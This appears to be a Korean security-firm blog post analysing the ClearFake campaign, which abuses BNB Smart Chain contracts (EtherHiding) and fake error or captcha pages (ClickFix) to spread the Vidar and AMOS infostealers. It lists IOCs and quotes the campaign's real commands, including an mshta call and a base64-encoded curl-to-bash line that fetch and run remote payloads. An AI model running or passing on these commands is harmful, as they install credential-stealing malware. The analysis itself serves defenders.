위협 인텔리전스

ClickFix, EtherHidng 기법을 사용하는 ClearFake캠페인 분석

ClickFix, EtherHidng 기법을 사용하는 ClearFake캠페인 분석

엔키화이트햇

2025. 7. 16.

요약

  • 악성 자바스크립트 파일을 수집하여 분석하던 중 지속적으로 ClearFake 캠페인의 스크립트가 수집됐다.

  • ClearFake 캠페인을 분석한 결과 EtherHiding 기법과 ClickFix 기법을 사용하는 모습을 확인 할 수 있었다.

  • ClearFake 캠페인은 Windows와 macOS 사용자를 타겟으로 하여 최종적으로 인포스틸러 악성코드를 유포했다.

  • EtherHiding 기법에 사용된 스마트 컨트랙트를 분석한 결과 연관된 스마트 컨트랙트 주소를 추가적으로 확보했다.

  • 스마트 컨트랙트의 트랜잭션 기록을 통해 과거 공격에 사용되었던 악성코드 유포 서버 주소를 확보했다.

1. 개요

바이러스 토탈 헌팅 기능으로 수집한 자바스크립트 파일을 분석하던 중, 다수의 자바스크립트 파일에서 특정 스마트 컨트랙트 주소가 언급되는 것을 확인하였다. 추가 분석 결과, 해당 스마트 컨트랙트 주소는 ClearFake 캠페인에서 사용하는 EtherHiding 기법과 연관된 것으로 밝혀졌다.

ClearFake 캠페인은 EtherHiding과 ClickFix 기법을 활용하여 악성코드를 은폐하고, 다수의 사용자에게 악성코드를 유포하는 정교한 공격이다. EtherHiding 기법은 이더리움 스마트 컨트랙트를 이용하여 악성 행위를 숨기는 기술이고, ClickFix 기법은 사용자 클릭을 유도하여 악성코드를 실행하는 방식이다.

본 글에서는 이 두 기법을 활용하여 다수의 사용자에게 악성코드를 유포하는 ClearFake 캠페인 분석 내용을 다룬다.

2. 배경

2.1. ClearFake 캠페인

ClearFake 캠페인은 2023년 8월 26일 보안 연구원인 Randy McEoin 이 작성한 글에서 처음 언급되었다. 이 캠페인은 정상적인 웹사이트에 악성 자바스크립트 코드를 삽입하고, 웹사이트에 접속한 사용자들에게 악성코드를 유포하는 방식으로 진행된다. 초기에는 크롬 브라우저 업데이트로 위장하여 악성코드를 다운로드하도록 유도하였으나, 최근에는 EtherHiding 기법과 ClickFix 기법을 결합하여 사용자가 직접 파워쉘 명령어를 실행하도록 유도하는 공격 방식을 사용하고 있다.

2.2. EtherHiding 기법

EtherHiding 은 이더리움(Ethereum)과 숨다(Hiding)가 합쳐진 단어로, 블록체인의 스마트 컨트랙트를 활용하여 악성코드를 유포하는 공격 기법이다. 공격자는 스마트 컨트랙트에 페이로드를 삽입하고, 외부에서 이더리움 API 의 eth_call 메소드를 사용하여 삽입된 페이로드를 불러온다.

이 기법은 블록체인의 익명성과 변경 불가능성을 활용하여, 한 번 삽입된 페이로드에 지속적으로 접근할 수 있다는 특징이 있다.

2.3. ClickFix 기법

ClickFix 는 사회공학적 기법의 일종으로, 가짜 에러 메시지를 활용하여 파워쉘 명령어와 같은 악성 컨텐츠를 사용자가 직접 실행하도록 유도한다.

3. 캠페인 분석

3.1. 악성 자바스크립트 코드

ClearFake 캠페인은 웹사이트에 악성 자바스크립트 코드를 삽입하여, 사용자가 웹사이트에 접속할 때 자바스크립트 코드가 실행되도록 한다. 본 글에서 분석한 자바스크립트는 웹사이트 메인 페이지에 접속할 때 실행된다. 주요 코드는 인코딩되었으며, 디코딩한 후 난독화를 해제해 코드를 확인했다.

인코딩된 악성 자바스크립트 코드

caption - 인코딩된 악성 자바스크립트 코드

자바스크립트 코드가 실행되면 먼저 console 객체의 주요 메소드를 재정의하여 정상 동작을 못하도록 한다.

console 객체 주요 메소드 재정의 루틴

caption - console 객체 주요 메소드 재정의 루틴

이후 BSC(바이낸스 스마트 컨트랙트)에 배포된 스마트 컨트랙트에서 페이로드를 읽어와 실행한다.

자바스크립트 코드는 EtherHiding 기법을 통해 다음 단계 악성코드를 다운받아 실행하고, EtherHiding 기법에 사용되는 컨트랙트는 총 3개이다. 각각 Stage1, Stage2, Stage3 컨트랙트로 구분한다.

3.2. Stage1 컨트랙트

Stage1 컨트랙트의 주소는 “0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53”이다. 자바스크립트 코드에서 Stage 1 컨트랙트의 ABI를 통해 4개의 함수를 불러온다.

Stage1 컨트랙트 ABI 루틴

caption - Stage1 컨트랙트 ABI 루틴

ABI에 명시된 함수를 확인하기 위하여 컨트랙트의 바이트 코드를 디컴파일하여 분석하였다. 바이트 코드는 Online Solidity Decompiler를 통해 디컴파일하였고, ABI에 명시된 함수 4개 이외에도 2개의 함수가 더 있는 것을 확인할 수 있다.

디컴파일된 Stage1 컨트랙트 바이트 코드에서 확인한 ABI에 명시되지 않은 함수

caption - 디컴파일된 Stage1 컨트랙트 바이트 코드에서 확인한 ABI에 명시되지 않은 함수

디컴파일된 바이트 코드를 통해 확인한 함수의 행위는 아래 표와 같다.

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x711452e6 | orchidABI | 없음 | Stage2 컨트렉트의 ABI를 반환한다. |
| 0x59211f8f | orchidAddress | 없음 | Stage2 컨트렉트의 주소를 반환한다. |
| 0x8420b126 | merlionABI | 없음 | Stage3 컨트렉트의 ABI를 반환한다. |
| 0x12dc3f4a | merlionAddress | 없음 | Stage3 컨트렉트의 주소를 반환한다. |
| 0xb24f585c | 확인 불가 | Admin | 인자 값을 Stage2 컨트렉트의 ABI와 주소로 저장한다. |
| 0x35725789 | 확인 불가 | Admin | 인자 값을 Stage3 컨트렉트의 ABI와 주소로 저장한다

caption - Stage1 컨트랙트의 함수

자바스크립트 코드에서는 Stage1 컨트랙트의 “orchidABI” 함수와 “orchidAddress” 함수를 실행하여 Stage2 컨트랙트 ABI와 주소를 받아온다.

Stage2 컨트랙트 ABI와 주소를 받아오면 “tokyoSkytree” 함수를 실행하고, 함수 실행 결과를 base64 디코딩 및 gzip 압축 해제 후 eval로 실행한다.

Stage2 컨트랙트 ABI

caption - Stage2 컨트랙트 ABI

3.3. Stage2 컨트랙트

Stage2 컨트랙트의 주소는 “0x8FBA1667BEF5EdA433928b220886A830488549BD”로, gzip 압축 및 base64 인코딩된 자바스크립트 파일을 저장하거나 반환하는 함수로 구성되어 있다.

디컴파일된 Stage2 컨트랙트 바이트 코드

caption - 디컴파일된 Stage2 컨트랙트 바이트 코드

특이하게도 모든 함수의 이름에는 일본의 지명이 포함되어있다. 디컴파일된 바이트 코드를 통해 확인한 함수의 행위는 아래 표와 같다.

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0x51bc047f | akihabaraLights | 없음 | 저장된 akihabaraLights를 반환한다. |
| 0x0c36b675 | asakusaTemple | 없음 | 저장된 asakusaTemple를 반환한다. |
| 0xfa3ba790 | ginzaLuxury | 없음 | 저장된 ginzaLuxury를 반환한다. |
| 0x316f4063 | shibuyaCrossing | 없음 | 저장된 shibuyaCrossing를 반환한다. |
| 0x432c42e5 | tokyoSkytree | 없음 | 저장된 tokyoSkytree를 반환한다. |
| 0x416f2896 | setAkihabaraLights | Admin | 인자 값을 akihabaraLights로 저장한다. |
| 0xa76e7648 | setAsakusaTemple | Admin | 인자 값을 asakusaTemple로 저장한다. |
| 0xa98b06d3  | setGinzaLuxury | Admin | 인자 값을 ginzaLuxury로 저장한다. |
| 0x1ba79aa2 | setShibuyaCrossing | Admin | 인자 값을 shibuyaCrossing로 저장한다. |
| 0x9f7a7126 | setTokyoSkytree | Admin | 인자 값을 tokyoSkytree로 저장한다

caption - Stage2 컨트랙트의 함수

Stage2 컨트랙트에 저장된 자바스크립트 파일은 총 5개로, 메인 파일인 “tokyoSkytree”에서 나머지 4개의 파일을 읽어 실행한다.

tokyoSkytree

“tokyoSkytree”는 쿠키에 “not-robot” 값이 있는지 확인하고, 없으면 아래 순서대로 자바스크립트 파일을 읽어와 base64 디코딩 및 gzip 압축 해제 후 실행한다.

  • shibuyaCrossing

  • akihabaraLights

  • ginzaLuxury

  • asakusaTemple

실행이 완료되면 쿠키 유지 시간을 30일로 하여 not-robot 값을 true로 설정한다.

디코딩된 tokyoSkytree 자바스크립트 파일

caption - 디코딩된 tokyoSkytree 자바스크립트 파일

shibuyaCrossing

웹사이트에 접속한 기기의 OS 정보를 확인하여 “sdTokyo” 변수에 저장한다.

디코딩된 shibuyaCrossing 자바스크립트 파일

caption - 디코딩된 shibuyaCrossing 자바스크립트 파일

OS 정보는 userAgent에 특정 문자열 포함 여부로 식별하며, 식별 가능한 OS와 각 OS를 구분하는 문자열은 아래 표와 같다. 어떤 조건도 만족하지 못할 경우 sdTokyo 변수에 Unknown이 저장된다.

| OS | 문자열 |
| --- | --- |
| Windows | Win |
| MacOS | Mac |
| iOS | Mac과 iPhone, iPad, iPod 하나 이상 |
| Linux | Linux |
| Android | Linux와 Android |
| ChromeOS | CrOS |
| PlayStation | PlayStation |
| Xbox | Xbox |
| Nintendo | Nintendo |
| BSD | BSD |
| Solaris | SunOS, Solaris 하나 이상 |
| Haiku | Haiku |
| webOS | webOS |
| Darwin | Darwin |
| QNX | QNX

caption - OS 정보 구분 문자열

akihabaraLights

웹사이트에 접속한 기기의 브라우저 정보를 확인하여 sdOsaka 변수에 저장한다.

디코딩된 akihabaraLights 자바스크립트 파일

caption - 디코딩된 akihabaraLights 자바스크립트 파일

브라우저 정보는 userAgent에 특정 문자열 포함 여부로 식별하며, 일부 브라우저는 특정 문자열의 부재도 함께 확인한다. 식별 가능한 브라우저와 식별 문자열은 아래 표와 같다. 어떤 조건도 만족하지 못할 경우 “sdTokyo” 변수에 Unknown이 저장된다.

| 브라우저 | 포함 문자열 | 제외 문자열 |
| --- | --- | --- |
| Google Chrome | Chrome | Edg |
| Mozilla Firefox | Firefox | 없음 |
| Opera | OPR, Opera 하나 이상  | 없음 |
| Microsoft Edge | Edg | 없음 |
| Safari | Safari | Chrome |
| Internet Explorer | MSIE, Trident 하나 이상  | 없음

caption - 브라우저 정보 구분 문자열

ginzaLuxury

Stage3 컨트랙트에서 다음 단계 코드를 받아와 복호화한 뒤 실행한다.

디코딩된 ginzaLuxury의 AES-GCM 복호화 코드

caption - 디코딩된 ginzaLuxury의 AES-GCM 복호화 코드

먼저 Stage1 컨트랙트의 “merlionAddress”, “merlionABI” 함수를 호출하여 Stage3 컨트랙트의 ABI와 주소를 받아온다.

Stage3 컨트랙트의 ABI

caption - Stage3 컨트랙트의 ABI

이후 Stage3 컨트랙트에서 “getRandomSkylineByBrowserAndPlatform” 함수 인자로 수집한 브라우저 정보와 OS 정보를 전달하여 실행한다. “getRandomSkylineByBrowserAndPlatform” 함수 결과는 URL로, 해당 URL에는 base64로 인코딩된 데이터가 저장되어있다.

URL에 저장된 데이터

caption - URL에 저장된 데이터

URL에 저장된 데이터 복호화 과정은 다음과 같다.

  1. 데이터를 base64로 디코딩한다.

  2. Stage3 컨트랙트의 “pearlTower” 함수 실행 결과를 base64로 디코딩한다.

  3. 디코딩된 “pearlTower” 실행 결과를 키로 사용하고, 디코딩된 데이터의 첫 12바이트는 IV로 사용한다.

  4. AES-GCM으로 IV 이후 데이터를 복호화한다.

복호화된 데이터는 ClickFix 기법을 이용하여 사용자가 명령어를 실행하도록 유도하는 HTML 파일로, 최종적으로 이 파일이 웹사이트에 접속한 사용자에게 표시된다.

asakusaTemple

“asakusaTemple”은 hxxps://technavix[.]cloud에 userAgent 정보를 전송한다.

디코딩된 asakusaTemple 자바스크립트 파일

caption - 디코딩된 asakusaTemple 자바스크립트 파일

3.4. Stage3 컨트랙트

Stage3 컨트랙트는 ClickFix 데이터 저장 URL, 복호화 키, ClickFix 명령어, 현재 상태를 저장 및 반환하는 함수를 포함하고 있다. 이때 ClickFix 데이터 저장 URL은 “Shanghai.Skyline” 구조체로 저장되며 구조체에 저장되는 데이터는 아래와 같다.

  • ID

  • URL

  • 브라우저 정보

  • OS 정보

  • ClickFix 종류

디컴파일된 바이트 코드를 통해 확인한 함수의 행위는 아래 표와 같다.

| Signature | 함수 이름 | 요구 권한 | 함수 행위 |
| --- | --- | --- | --- |
| 0xbaf7bb8f | addSkyline | Admin | 인자 값을 Skyline 구조체로 저장한다. |
| 0xd11da92c | cityStatus | 없음 | 현재 상태를 반환한다. |
| 0x400a77ab | fallbackMessage | 없음 | 저장된 메시지를 반환한다. |
| 0x128cfc44 | getAllSkylines | 없음 | 저장된 모든 Skyline 구조체를 반환한다. |
| 0x75755384 | getRandomSkylineByBrowserAndPlatform | 없음 | 브라우저와 OS 정보가 일치하는 Skyline 구조체를 반환한다. |
| 0x4724d397 | jadeCode | 없음 | 저장된 복호화 키를 반환한다. |
| 0x7799d770 | pearlTower | 없음 | 저장된 ClickFix 명령어를 반환한다. |
| 0xeb7a8223 | removeAllSkylines | Admin | 저장된 모든 Skyline 구조체를 삭제한다. |
| 0x6e575508 | removeSkylineById | Admin | 특정 ID를 가진 Skyline 구조체를 삭제한다. |
| 0xda4c3e46 | setCityStatus | Admin | 인자 값을 현재 상태로 저장한다. |
| 0x7f996e6a | setFallbackMessage | Admin | 인자 값을 메시지로 저장한다. |
| 0x67685e3e | setJadeCode | Admin | 인자 값을 ClickFix 명령어로 저장한다. |
| 0x167d1c4b | setPearlTower | Admin | 인자 값을 복호화 키로 저장한다. |
| 0x4128180a | updateSkylinesById | Admin | 특정 ID를 가진 Skyline 구조체의 URL 값을 변경한다

caption - Stage3 컨트랙트의 함수

저장된 내용을 반환하는 함수를 제외한 모든 함수는 Admin 권한을 요구한다. 2025년 7월 14일 기준 “getAllSkylines” 함수를 통해 확인한 Skyline 목록은 아래 표와 같다.

| ID | URL | 브라우저 | OS | ClickFix 종류 |
| --- | --- | --- | --- | --- |
| 0 | hxxps://yie-cpj[.]pages.dev/mac | Google Chrome | MacOS | Captcha |
| 1 | hxxps://yie-cpj[.]pages.dev/mac | Safari | MacOS | Captcha |
| 2 | hxxps://yie-cpj[.]pages.dev/mac | Mozilla Firefox | MacOS | Captcha |

caption - Skyline 목록

Skyline의 URL에는 앞서 “ginzaLuxury”에서 언급된 암호화된 HTML 파일이 저장되어있다. 복호화된 HTML 파일은 ClickFix 기법을 통해 사용자가 명령어를 실행하도록 유도한다.

명령어는 웹사이트에 보이지 않고 HTML에 첨부된 자바스크립트 코드를 통해 클립보드에 복사된다. 복사되는 명령어는 운영체제마다 다르며 현재까지 확인된 명령어는 Windows용과 macOS용 2가지이다.

3.5. Windows ClickFix

분석 당시 컨트랙트에 macOS용 URL만 존재하였지만 BSC의 트랜잭션 기록을 통해 Windows용 URL도 확인할 수 있었다.

과거에 사용된 Windows용 URL이 저장된 0xa208b768a3b06c11a3483d5e5d89129bc114dc6a10f59bbab802e0ccd6997a90 트랜잭션 데이터

caption - 과거에 사용된 Windows용 URL이 저장된 0xa208b768a3b06c11a3483d5e5d89129bc114dc6a10f59bbab802e0ccd6997a90 트랜잭션 데이터

URL에 저장된 데이터를 복호화하면 아래 그림과 같이 에러 메시지를 가장하여 사용자가 파워쉘 명령어를 실행하도록 유도하는 HTML 파일을 확인할 수 있다.

사용자에게 보여지는 복호화된 HTML

caption - 사용자에게 보여지는 복호화된 HTML

파워쉘 명령어는 아래 자바스크립트 코드를 통해 사용자의 클립보드에 복사된다.

클립보드에 파워쉘 명령어를 복사하는 자바스크립트 코드

caption - 클립보드에 파워쉘 명령어를 복사하는 자바스크립트 코드

클립보드에 복사되는 파워쉘 명령어는 아래와 같다.

  • mshta hxxps://microsoft-dns-reload-1n.pages.dev

MSHTA Script

mshta.exe는 Windows 내장 프로그램으로 HTML 파일을 실행시키기 위한 프로그램이다. 공격자의 파워쉘 명령어는 mshta.exe를 이용해 “hxxps://microsoft-dns-reload-1n.pages.dev”의 HTML 파일을 실행한다.

MSHTA를 통해 실행되는 HTML 파일

caption - MSHTA를 통해 실행되는 HTML 파일

HTML 파일에는 VBScript 코드가 포함되어있고, 내부의 파워쉘 명령어는 base64로 인코딩된 URL에서 파일을 다운받아 실행한다. 디코딩된 URL은 아래와 같다.

  • hxxps://raw.githubusercontent.com/wiraaji/improved-happiness/refs/heads/main/pc.txt

PowerShell Script

VBScript 코드를 통해 다운받는 파일로, 파워쉘 스크립트이다. 깃허브에서 악성코드를 다운받아 Temp 경로에 랜덤한 이름으로 저장하고 실행한다. 이후 감염 시스템 IP 주소를 “hxxps://saaadnesss.shop/connect”로 전송한다.

파워쉘 스크립트 코드

caption - 파워쉘 스크립트 코드

RisingStrip.exe

RisingStrip.exe는 NSIS(Nullsoft Scriptable Install System)로 제작된 인스톨러이다. 해당 파일을 실행하면 “%LOCALAPPDATA%\Microsoft\Windows\INetCache\91531” 경로에 Autoit 실행 파일과 컴파일된 Autoit 스크립트를 생성한다.

Autoit 실행 파일과 Autoit 스크립트가 생성된 모습

caption - Autoit 실행 파일과 Autoit 스크립트가 생성된 모습

컴파일된 Autoit 스크립트에는 암호화된 실행 파일과 쉘코드가 16 진수 문자열로 저장되어있다.

디컴파일된 Autoit 스크립트에 저장된 암호화된 Vidar Stealer

caption - 디컴파일된 Autoit 스크립트에 저장된 암호화된 Vidar Stealer

컴파일된 Autoit 스크립트는 DllCallAddress 함수를 통해 쉘코드를 실행한다. 이때 인자로 암호화된 실행 파일과 RC4 키(46161468299921365240487271780856262)가 전달된다. 쉘코드는 RC4로 암호화된 실행 파일을 복호화하여 실행한다.

쉘코드의 RC4 PGRA 함수

caption - 쉘코드의 RC4 PGRA 함수

복호화된 실행 파일은 Vidar Stealer로, 대부분의 함수 주소를 메모리에 저장된 값의 연산을 통해 계산하여 호출하는 난독화가 적용되어있다. 대부분의 연산은 덧셈 연산으로 결과가 int의 범위(4바이트)를 넘어가 4바이트로 나머지 연산이 되었을 때 올바른 주소가 나오도록 설계되어있다.

난독화가 적용된 Vidar Stealer의 start 함수

caption - 난독화가 적용된 Vidar Stealer의 start 함수

사용하는 대부분의 문자열은 1바이트 XOR 연산을 통해 암호화되어있다. XOR 키의 길이와 키 위치는 문자열마다 상이하다.

일부 문자열 복호화 함수

caption - 일부 문자열 복호화 함수

C&C 서버 주소는 텔레그램 또는 스팀 계정에서 받아온다. 텔레그램 “w211et” 프로필 링크에 HTTP 요청을 보낸 뒤 수신 데이터에서 “hu76a” 이후의 값을 C&C 서버 주소로 사용한다. 텔레그램을 통해 C&C 서버 주소를 찾지 못한 경우 스팀 “76561199811540174” 프로필 링크에서 C&C 주소를 받아온다.

복호화된 Vidar Stealer에 존재하는 텔레그램 계정과 스팀 프로필 링크

caption - 복호화된 Vidar Stealer에 존재하는 텔레그램 계정과 스팀 프로필 링크

C&C 서버 주소를 성공적으로 받아오면, 시스템 고유 ID를 생성하기 위해 C 드라이브 볼륨 일련번호와 하드웨어 프로필 정보를 결합한다. 이 ID를 hwid로, 하드코딩된 값(f4c9ac30c7e86011d996b9b6076307b5)을 build_id로 설정하여 C&C 서버에 전송한다. 분석 당시 텔레그램과 스팀 프로필 모두 C&C 서버 주소가 제거된 상태였다.

텔레그램 링크 접속 화면

caption - 텔레그램 링크 접속 화면

스팀 프로필 접속 화면

caption - 스팀 프로필 접속 화면

이후 하드웨어 정보, 설치된 프로그램, 유저 이름 등의 정보를 information.txt라는 이름의 파일로 C&C 서버에 전송한다. information.txt의 내용은 아래와 같다.

Version: 12.3

Date: <Local Time>
MachineID: <SOFTWARE\\Microsoft\\Cryptography\\MachineGuid>
GUID: <MachineGuid>
HWID: <System ID>

Path: <Malware Installed Path>
Work Dir: In memory

Windows: <Windows Version>
Install Date: Disabled
AV: Disabled
Computer Name: <Computer Name>
User Name: <User Name>
Display Resolution: <Display Size>
Keyboard Languages: <Keyboard Languages>
Local Time: <Local Time>
TimeZone: <TimeZone>

[Hardware]
Processor: <Processor Name>
Cores: <Number of Processor Cores>
Threads: <Number of Threads>
RAM: <Maximum RAM> MB
VideoCard: <VideoCard Name>

[Processes]
<List of Running Processes>

[Software]
<List of Installed Software>

information.txt를 전송한 이후 브라우저 정보, WinSCP 정보, FileZilla 정보와 특정 프로그램의 정보를 수집하여 C&C 서버로 전송한다. 수집하는 정보의 자세한 내용은 아래와 같다.

| 브라우저 정보 | WinSCP 정보 | FileZilla 정보 | 정보 수집 대상 프로그램 |
| --- | --- | --- | --- |
| Chrome | HostName | HostName | Steam |
| Opera Stable | PortNumber | PortNumber | Discord |
| Opera GX | UserName | UserName | Telegram |
| FireFox | Password | Base64 Encoded Password | Azure

caption - 수집 정보

모든 정보를 전송하면 아래 명령어를 실행하여 자기 자신을 삭제하고 프로세스를 종료한다.

  • "C:\Windows\system32\cmd.exe" /c del /f /q "C:\ProgramData\<MalwarePath>" & timeout /t 11 & rd /s /q "C:\ProgramData\<MalwareFolder>" & exit

3.6. macOS ClickFix

macOS에서 실행되는 HTML 파일은 Windows와 달리 로봇이 아님을 증명하라며 클립보드의 내용을 터미널에서 실행하도록 유도한다.

HTML 파일 실행 결과

caption - HTML 파일 실행 결과

또한 Stage3 컨트랙트의 “jadeCode” 함수를 통해 ClickFix 명령어를 가져와 클립보드에 복사한다.

jadeCode 함수를 실행하는 HTML 파일

caption - jadeCode 함수를 실행하는 HTML 파일

클립보드에 복사되는 명령어는 아래와 같다.

  • echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cHM6Ly9lbnRyaW5pZGFkLmNmZC8xL3ZlcmlmeS5zaCki' | base64 -D | bash

Bash Command

ClickFix 명령어를 실행하면 새로운 명령어를 base64로 디코딩하여 bash로 실행한다. 디코딩된 명령어는 아래와 같다.

  • /bin/bash -c "$(curl -fsSL hxxps://entrinidad.cfd/1/verify.sh)”

디코딩된 명령어는 curl을 통해 “hxxps://entrinidad.cfd/1/verify.sh”에서 명령어를 읽어 다시 bash로 실행한다.

verify.sh

verify.sh는 curl을 통해 “hxxps://overcasetv.cfd/update”에서 파일을 다운받아 “/tmp/update”로 저장한다. 이후 xattr 명령어를 통해 “/tmp/update”파일을 실행할 때 보안 경고가 뜨지 않도록 변경하고 실행한다.

verify.sh 파일 내용

caption - verify.sh 파일 내용

/tmp/update

다운받은 “/tmp/update” 파일은 macOS에서 동작하는 인포스틸러 악성코드인 Atomic MacOS Stealer(AMOS)이다. AMOS에서 사용하는 모든 문자열 디코딩 과정은 다음과 같다.

  1. 인코딩된 문자열과 2개의 키를 4바이트 단위로 읽어온다.

  2. 읽어온 4바이트중 하위 1바이트만 사용하여 첫 번째 키와 XOR 연산을 한다.

  3. XOR 결과에서 두 번째 키의 하위 1바이트를 뺀다.

  4. 결과를 커스텀 base64를 통해 디코딩한다.

AMOS는 system 함수를 통해 총 3개의 명령어를 실행한다.

실행되는 첫 번째 명령어는 아래와 같이 가상 머신 환경에서 실행 중인지 확인하여 가상 머신일 경우 종료한다.

두 번째 명령어는 유저 이름, 패스워드, 브라우저 인스텐션, 암호화폐 지갑, 브라우저 쿠키 정보, 웹 로그인 데이터, 텔레그램 대화 내역과 특정 확장자를 지닌 모든 파일을 압축하여 C&C 서버로 전송한다. 수집하는 정보의 자세한 내용은 “부록 A. macOS ClickFix 수집 정보” 참고 바란다.

마지막 세 번째 명령어는 “disown; pkill Terminal”로 프로세스를 종료한다.

4. 스마트 체인 분석

스마트 체인 분석은 BNB 스마트 체인을 탐색하는 BscScan을 통해 진행하였다.

4.1. Admin 지갑 주소

앞서 설명한 3개 컨트랙트는 모두 “0xF5B962Cca374de0b769617888932250363C5971B”를 Admin 지갑 주소로 가지고 있다. 이 지갑은 공격에 사용된 3개의 컨트랙트을 생성하였고, 지속적으로 트랜잭션을 생성하여 컨트랙트에 저장된 정보를 관리한다. 따라서 Admin 지갑 주소의 트랜잭션 기록을 통해 컨트랙트에 적용된 수정 사항을 전부 확인할 수 있다.

0xF5B962Cca374de0b769617888932250363C5971B 지갑 주소의 트랜잭션

caption - 0xF5B962Cca374de0b769617888932250363C5971B 지갑 주소의 트랜잭션

Admin 지갑에서 생성한 컨트랙트는 ClearFake에서 사용된 3개 이외에도 추가로 1개의 컨트랙트가 더 존재한다. 해당 컨트랙트의 주소는 “0xE1FD5bFe3a085Ce0b2fB72eAC0C14Ef2ef4400C8”로 바이트 코드의 행위는 Stage1 컨트랙트인 “0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53”와 같다.

“0xE1FD5bFe3a085Ce0b2fB72eAC0C14Ef2ef4400C8” 컨트랙트에는 트랙잭션 기록이 없어 현재는 사용이 불가능하지만 공격자는 언제든 해당 컨트랙트를 Stage1 컨트랙트로 변경하여 사용할 수 있다.

4.2. 추가 컨트랙트 주소 확보

Stage1 컨트랙트인 “0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53”와 같은 바이트 코드를 가진 컨트랙트를 탐색하면 아래 그림처럼 4개의 컨트랙트 주소를 확인할 수 있다.

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 컨트랙트와 같은 바이트 코드를 가진 컨트랙트 목록

caption - 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 컨트랙트와 같은 바이트 코드를 가진 컨트랙트 목록

4개의 컨트랙트는 모두 “0x9AAe9A373CECe9Ef8453fa2dEAF4bf7B8aFBfac9” 지갑에 의해 생성된 컨트랙트로, 해당 지갑이 생성한 컨트랙트 주소는 아래와 같다.

| 컨트랙트 주소 | 같은 바이트 코드를 가진 컨트랙트 |
| --- | --- |
| 0x5adB8477635ADc33bddccA8Bc48a46323fE18aa0 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd860EA54f0E403Ad0E34bbF005A2BCa298A23ECC | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xEC3A981d05Ae74fAe7d99DeEa295DCCd1B72d6b2 | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53  |
| 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E | 0x8FBA1667BEF5EdA433928b220886A830488549BD  |
| 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F  | 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

caption - 0x9AAe9A373CECe9Ef8453fa2dEAF4bf7B8aFBfac9 지갑이 생성한 컨트랙트 주소

4개중 3개의 컨트랙트는 트랜잭션 기록이 없지만 “0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c” 컨트랙트에는 트랜잭션 기록이 존재한다.

0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c 컨트랙트의 트랜잭션 기록

caption - 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c 컨트랙트의 트랜잭션 기록

해당 컨트랙트의 트랜잭션을 살펴보면 Stage2 컨트랙트 주소를 “0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E”로 설정하고, Stage3 컨트랙트 주소를 “0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F”로 설정하는 것을 확인할 수 있다.

하지만 “0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F” 컨트랙트의 트랜잭션 기록을 통해 7월 14일 기준 약 120일 전부터 해당 컨트랙트들은 사용되지 않고 있음을 확인할 수 있었다.

0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F 컨트랙트의 트랙잭션 기록

caption - 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F 컨트랙트의 트랙잭션 기록

현재는 사용하지 않으나 컨트랙트는 사라지지 않기 때문에 공격자는 언제든 다시 해당 컨트랙트를 공격에 사용할 수 있다. 뿐만 아니라 트랜잭션 기록이 존재하지 않는 3개의 컨트랙트 모두 잠재적으로 공격에 사용될 가능성이 존재하는 컨트랙트이다.

4.3. 트랜잭션 기록 분석

블록체인의 트랜잭션은 한번 생성되었을 경우 삭제되지 않기 때문에 트랜잭션 기록을 통해 현재까지 ClearFake 캠페인에 사용된 모든 페이로드 URL을 확인할 수 있다.

페이로드 URL을 저장하는 함수인 “addSkyline”(0xbaf7bb8f)과 변경하는 함수인 “updateSkylinesById”(0x4128180a)을 호출하는 모든 트랜잭션을 BscScan의 Advanced Filter 기능을 통해 확보할 수 있었다.

BscScan의 Advanced Filter 기능

caption - BscScan의 Advanced Filter 기능

이렇게 확보한 모든 트랜잭션에서 URL을 추출한 결과 총 140개의 URL과 109개의 도메인이 ClearFake 캠페인에 사용된 것을 확인할 수 있었다. 공격자는 처음 컨트랙트를 생성하였을 때 테스트 주소로 x.com, 818.cn, 808.cn, 809.cn을 사용하였다.

확보한 도메인 109개 중 테스트에 사용된 4개의 도메인을 제외한 105개의 도메인 모두 CloudFlare의 보호를 받아 도메인의 등록자 이름, 연락처 정보 등의 WHOIS 공개 정보가 숨겨진 상태였다.

5. 마치며

본 글에서는 EtherHiding과 ClickFix 기법을 사용하는 ClearFake 캠페인을 분석하였다. 공격자는 정상적인 웹사이트에 악성 스크립트를 삽입하여 EtherHiding 기법을 통해 ClickFix 페이로드를 가져와 사용자에게 악성코드를 유포하였다.

ClearFake 캠페인이 처음 발견되고 약 2년이 지난 현재도 해당 캠페인은 지속적으로 전세계의 웹사이트에 악성 스크립트를 삽입하고 있으며 공격자의 수법은 발전해나가고 있다. 특히 새로운 기법을 활용하여 악성코드를 유포하는 모습을 보여온 만큼 해당 공격에 대한 지속적인 모니터링이 중요하다.

ClickFix 기법은 현재 북한, 이란, 러시아 APT 그룹에서도 사용할 만큼 많이 사용되는 공격 기법이다. 특히 ClearFake 캠페인의 경우 실행되는 명령어가 사용자에게 보여지지 않고 클립보드에 직접 복사 되기 때문에 더욱 인지하기 어렵다. 이에 대한 피해를 예방하기 위해서 사용자들은 인터넷에서 파일을 다운로드 하거나 명령어를 실행할 때 각별한 주의가 필요하다.

6. 부록

부록 A. macOS ClickFix 수집 정보

브라우저 익스텐션

| list | - |
| --- | --- |
